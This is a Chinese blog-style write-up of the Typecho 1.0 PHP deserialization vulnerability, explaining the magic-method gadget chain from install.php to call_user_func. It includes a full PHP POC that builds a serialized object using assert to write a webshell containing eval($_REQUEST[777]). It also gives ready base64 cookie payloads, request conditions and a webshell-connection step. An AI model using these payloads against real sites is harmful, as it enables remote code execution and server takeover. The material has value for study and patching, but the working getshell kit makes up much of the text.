【PHP代码审计】反序列化漏洞实战

news2025/1/12 18:07:05

文章目录

    • 概述
    • 资源下载地址
    • Typecho代码审计-漏洞原理
        • call_user_func()
        • `_applyFilter()`、get()与__get`
        • __toString()
        • `__construct()`
        • install.php
    • POC利用
    • 漏洞利用复现
      • 利用链
      • 执行phpinfo()
        • GET利用
        • POST利用
      • getshell
        • 生成payload
        • 漏洞利用
        • 蚁剑连接
    • 总结

概述

序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

本篇文章将借助Typechov1.0(14.10.10)环境进行代码审计,最终完成对Typecho的利用与getshell。

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。

2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。

经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。

资源下载地址

链接:https://pan.baidu.com/s/1S9v2y9NvvUG0KSSPkDG7Mg?pwd=yuan

具体的typechov1.0(14.10.10)靶场环境安装教程这里不再赘述,网上教程很多。

Typecho代码审计-漏洞原理

参考文章:https://www.cnblogs.com/litlife/p/10798061.html

call_user_func()

经过对Typecho的代码审计,在Typecho_Request类中可以发现一个危险函数call_user_func

image-20230905164143684

这个函数是回调函数,里面可以传两个参数,第1个参数表示要调用的函数,第2个参数表示要传给要调用的函数的参数,假设我们传的第1个参数是assert,第2个参数是一个这样的字符串"fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')",就相当于我们执行了这个命令:

assert(fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>'));

这个命令意思就是我们创建并打开一个shell.php文件,并且把<?php phpinfo();@eval(\$_REQUEST[777])?>写入文件。相当于我们写了一个一句话木马文件到目标服务器,从而getshell。

_applyFilter()、get()与__get`

基于对以上危险函数的分析,我们开始寻找利用点

要想完成以上危险函数的利用,就需要确保传入的两个参数是可控的,$filter属于Typecho_Request类的属性,是可以在创建对象的时候控制的,$value_applyFilter函数的参数,所以我们要查找一下哪里调用了_applyFilter函数,于是往上面分析。

经过查找,我们可以在这个Typecho_Request类中看到get()函数里调用了_applyFilter()函数

image-20230905170656515

在这个get()函数中,调用了_applyFilter函数,并且传了参数$value,其中$value是可控的,因为他其实就是当前类的_params数组的一个键为$key的值,所以我们下一步要做的就是控制_params数组的$key,于是我们继续往上找,看看是谁调用了这个get()函数。

image-20230905170835213

经过查找可以发现,__get()函数调用了get()函数,__get()函数是非常特殊的一个函数,叫做魔法函数,当调用一个对象的私有属性的时候,就会默认调用这个魔法函数。因此我们需要找一个地方,看看哪里会用到对象的属性。

__toString()

经过查找,发现在Typecho_Feed类中的这个地方调用了_items数组对象的screenName属性,恰好_items数组是可控的,所以这里可以利用

image-20230905174252265

当我们访问_items数组中的author对应的对象的私有属性screenName的时候,会默认调用这个对象的__get()魔法函数,为了调用上面分析的__get()函数,我们把_items中author对应的对象设置为Typecho_Request对象即可,而且Typecho_Request类中没有screenName属性,也会默认调用Typecho_Request类的__get()函数

在上一步分析中,我们要知道我们分析的代码是在哪个函数中:

image-20230905174542073

如图,是在Typecho_Feed类的__toString()函数中,这也是一个魔法函数,当一个对象与一个字符串进行拼接的时候,这个__toString()函数会被自动调用,所以接下来我们需要看看哪个对象具备和字符串拼接的操作。

__construct()

经过查找,在Typecho_Db类中发现他的构造函数具有一个可控参数与字符串进行拼接

image-20230905175106219

所以可以控制这个参数为一个对象,这个对象就是Typecho_Feed对象,当Typecho_Feed对象与字符串拼接的时候,就会调用这个Typecho_Feed对象的魔法函数__toString()。又因为这个__construct()是默认构造函数,默认构造函数在创建对象的时候会自动调用,所以需要往上分析,看看什么地方具有new这个Typecho_Db对象的条件。

install.php

经过查找,可以在install.php中发现以下代码:

image-20230905180450369

这个代码就new了一个Typecho_Db对象,可以默认调用这个对象的默认构造函数。

根据以上代码分析可知,我们可以控制cookie的__typecho_config键的值,然后反序列化成为一个$config对象,所以$config对象是可控的,在对这个对象的构造完成之后,我们可以序列化这个对象,形成POC,在入口点将POC传入,即可形成利用链。

POC利用

typecho_1.0(14.10.10)_unserialize_fputs.php

<?php
class Typecho_Feed{
	const RSS1 = 'RSS 1.0';
	const RSS2 = 'RSS 2.0';
	const ATOM1 = 'ATOM 1.0';
   	const DATE_RFC822 = 'r';
	const DATE_W3CDTF = 'c';
	const EOL = "\n";
	private $_type;
	private $_items;
	
	public function __construct(){
		$this->_type = $this::RSS2;
		$this->_items[0] = array(
			'title' => '1',
			'link' => '1',
			'date' => 1508895132,
			'category' => array(new Typecho_Request()),
			'author' => new Typecho_Request(),
		);
	}
}

class Typecho_Request{
	private $_params = array();
	private $_filter = array();

	public function __construct(){
		$this->_params['screenName'] = "fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')";
		$this->_filter[0] = 'assert';
    }
}

$exp = array(
	'adapter' => new Typecho_Feed(),
	'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

漏洞利用复现

利用链

反序列化 --> __construct() --> toString() --> __get() --> _applyFilter() --> call_user_func()

执行phpinfo()

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件生成payload,如图:

image-20230905135013906

GET利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中,key为__typecho_config
  4. 需要Referer头:http://10.9.75.168
  5. url中需要参数finish

序列化数据放在cookie中,并且需要Referer校验

/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

这里使用的是hackbar:

image-20230905133727139

也可以用BurpSuit修改请求包:

image-20230905134418589

POST利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中或者body中,key为__typecho_config
  4. 与是否携带Referer头无关
/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

image-20230905133843606

getshell

生成payload

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_fputs.php文件生成payload,如图:

image-20230905155725320

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

特别注意:这里有个奇怪的bug,在上面的代码中,如果创建的php文件的文件名是一个字符,将无法写入,比如a.php,一个字符以上才可以写入,比如1e.php就可以写入,当然我上面的文件名是shell.php,是没有问题的

漏洞利用

image-20230905155601193

蚁剑连接

image-20230905155252415

总结

​ PHP反序列化漏洞主要就是借助魔法函数的自动调用特性,再结合程序中出现的危险函数,形成利用链。在本篇文章中,Typecho反序列化漏洞的利用链就是:反序列化 --> __construct() --> __toString() --> __get() --> _applyFilter() --> call_user_func()。

其中可以看到多处地方调用了魔法函数,最终调用到了危险函数call_user_func()完成利用,至于如何构造对象,就需要分析要形成这条利用链的一些条件了,通常都是根据if else语句来制造利用条件的,比如install.php的入口处:

image-20230905195114428

由以上代码我们可以知道,在发起请求包的时候我们要注意传url参数与referer头,否则无法执行到我们的反序列化入口,导致无法形成利用链

​ 因此,要想借助反序列化漏洞形成利用链,首先就需要对这门语言属性,属性这门语言的危险函数,找到危险函数之后进行反推,往上查找调用链,如果最后可以找到反序列化入口,就可以形成利用链。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/981279.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

污水处理厂3D数字孪生三维可视系统降低设备风险隐患

当相对传统与保守的水务行业&#xff0c;与激进与开放的互联网发生碰撞之后&#xff0c;产生了最好的一个名词是&#xff1a;“智慧水务”&#xff0c;谈及智慧水务&#xff0c;自然免不了当下最具热度的技术“元宇宙”&#xff0c;水资源再生是我国追求高质量发展的新策略&…

fastadmin列表,关联筛选查询

fastadmin文章表关联分类表&#xff0c;分类筛选默认按分类名模糊查询&#xff0c;项目需求是下拉选择分类&#xff0c;根据分类id直接筛选。最终效果如下图。 var table $("#table");//在普通搜索渲染后table.on(post-common-search.bs.table, function (event, ta…

Elasticsearch脑裂

文章目录 Elasticsearch脑裂 Elasticsearch脑裂 Elasticsearch脑裂是指由于网络分区或节点间通信故障导致集群中的节点无法互相正常通信&#xff0c;从而导致数据不一致的情况。这可能会导致集群中的多个节点同时自认为是主节点&#xff08;master&#xff09;&#xff0c;并开…

mysql(十)mysql主从复制--主库切换

概述 可能为了更迭升级服务器&#xff0c;或者主库出现问题&#xff0c;又或者只是希望重新分配容量&#xff0c;此时需要切换主库。 如果这是计划内的切换&#xff0c;会相对容易点。只需要在从库上使用CHANGE MASTER TO命令&#xff0c;并设置合适的值。大多数的值都是可选…

大数据技术之Hadoop:使用命令操作HDFS(四)

目录 一、创建文件夹 二、查看指定目录下的内容 三、上传文件到HDFS指定目录下 四、查看HDFS文件内容 五、下载HDFS文件 六、拷贝HDFS文件 七、HDFS数据移动操作 八、HDFS数据删除操作 九、HDFS的其他命令 十、hdfs web查看目录 十一、HDFS客户端工具 11.1 下载插件…

OpenWrt系统内核设置

系统内核设置&#xff1a;OpenWrt也是一个 Linux 操作系统&#xff0c;因此它和其他Linux 操作系统一样&#xff0c; 可以通过一些配置文件配置。 一、/etc/sysctl.conf 配置文件 这个文件是系统启动预加载的内核配置文件&#xff0c;通过sysctl命令读取和设置到系统当中。这个…

openGauss学习笔记-62 openGauss 数据库管理-两地三中心跨Region容灾

文章目录 openGauss学习笔记-62 openGauss 数据库管理-两地三中心跨Region容灾62.1 基于流式复制的异地容灾解决方案62.1.1 概述62.1.2 规格与约束62.1.2.1 特性规格62.1.2.2 特性约束 62.1.3 影响容灾性能指标的GUC参数设置62.1.3.1 检查点相关参数设置的影响62.1.3.2 极致RTO…

android 车载widget小部件部分详细源码实战开发-千里马车载车机framework开发实战课程

官网参考链接&#xff1a;https://developer.android.google.cn/develop/ui/views/appwidgets/overview 1、什么是小部件 App widgets are miniature application views that can be embedded in other applications (such as the home screen) and receive periodic updates…

LED显示屏安全亮度参数设置方法和防护

随着LED显示屏应用领域越来越广&#xff0c;但其高亮度造成的光污染&#xff0c;常受到的人们的诟病。为了更好的避免光污染&#xff0c;我整理了一些关于LED显示安全亮度参数设置方法和安全防护措施。你知道LED广告牌是如何工作的吗&#xff1f; 设置LED显示屏的安全亮度参数和…

android上架备案公钥和md5获取工具

最近很多公司上架遇到了一个问题&#xff0c;就是要提供app的备案证明&#xff0c;现在android上架都需要备案了&#xff0c;但是我们的证书都是通过工具生成的&#xff0c;哪里知道公钥和md5那些东西呢&#xff1f;无论安卓备案还是ios备案都需要提供公钥和md5。 包括ios的备案…

ChatGPT Prompting开发实战(五)

一、如何编写有效的prompt 对于大语言模型来说&#xff0c;编写出有效的prompt能够帮助模型更好地理解用户的意图(intents)&#xff0c;生成针对用户提问来说是有效的答案&#xff0c;避免用户与模型之间来来回回对话多次但是用户不能从LLM那里得到有意义的反馈。本文通过具体…

异步请求库的实际应用案例:爬取豆瓣经典电影

在日常爬虫过程中&#xff0c;你有没有遇到过需要爬取大量数据的情况&#xff0c;但是传统的同步请求方式让您等得焦头烂额&#xff1f; 这个问题的根源在于传统的同步请求方式。当我们使用同步请求时&#xff0c;程序会一直等待服务器的响应&#xff0c;直到数据返回后才能继续…

Jmeter性能测试手册

目录 目录 2 简介... 4JMeter与LoadRunner区别... 4环境配置... 5 3.1 安装JDK. 5 3.2 配置JDK环境变量... 9 3.3 安装并配置Maven. 13 3.4 下载JMeter 15 JMeter分类使用... 16 4.1 对于Dubbo类接口的测试.. 16 4.1.1 安装开发工具IDEA. 16 4.1.2 配置字符集格式…

leetcode_27_最小栈

class MinStack { public:MinStack() {}void push(int val) {//只要是压栈&#xff0c;先将元素保存到_elem中_elem.push(val);//如果x小于_min中栈顶的元素&#xff0c;将x再压入_min中if(_min.empty() || val < _min.top()){_min.push(val);}}void pop() {//如果——min栈…

OSPF路由协议

OSPF基本信息 OSPF&#xff08;Open Shortest Path First&#xff09;开放式最短路径优先协议是用于网际协议&#xff08;IP&#xff09;网络的链路状态路由协议。该协议使用链路状态路由算法的内部网关协议&#xff08;IGP&#xff09;&#xff0c;在单一自治系统&#xff08…

【论文通读】CLIP改进工作综述

CLIP改进工作综述 前言1. 语义分割1.1 Lseg1.2 GroupViT 2. 图像检测2.1 ViLD2.2 GLIP2.3 GLIPv2 3. 图像生成3.1 CLIPasso 4. 视频理解4.1 CLIP4Clip4.2 ActionCLIP 5. 其它领域5.1 CLIP-VIL5.2 AudioCLIP5.3 PointCLIP5.4 DepthCLIP 总结参考链接 前言 CLIP作为多模态对比学…

torch.nn中的L1Loss和MSELoss

我们打开Pytorch官网&#xff0c;找到torch.nn中的loss function&#xff0c;进去如下图所示。 L1LOSS 我们先来看看 L1LOSS 损失函数的使用。下图是官网给出的描述。 L1loss有两种方式&#xff0c;一种是将所有误差累加作为总损失&#xff0c;另一种是将所有误差累加之后求平…

java八股文面试[数据库]——一个B+树中大概能存放多少条索引记录

MySQL设计者将一个BTree的节点的大小设置为等于一个页. (这样做的目的是每个节点只需要一次I/O就可以完全载入), InnoDB的一个页的大小是16KB,所以每个节点的大小也是16KB, 并且BTree的根节点是保存在内存中的,子节点才是存储在磁盘上. 假设一个B树高为2&#xff0c;即存在一个…

Cyber RT基础入门与实践_Hello Apollo

Hello Apollo 进入云实验环境模块的模块内包的 进入云实验环境 <1> 创建本节实验工程目录&#xff0c;创建完成后&#xff0c;工程目录如下所示&#xff1a; cyber_demo |-- cyber_01 |-- demo_main | |-- BUILD | |-- main.cc |–BUILD |–cyberfile.xml |–cyber_demo.…

YOLO目标检测——火焰检测数据集+已标注xml和txt格式标签下载分享

实际项目应用&#xff1a;火灾预警系统、智能监控系统、工业安全管理、森林火灾监测以及城市规划和消防设计等应用场景中具有广泛的应用潜力&#xff0c;可以提高火灾检测的准确性和效率&#xff0c;保障人员和财产的安全。数据集说明&#xff1a;YOLO火焰目标检测数据集&#…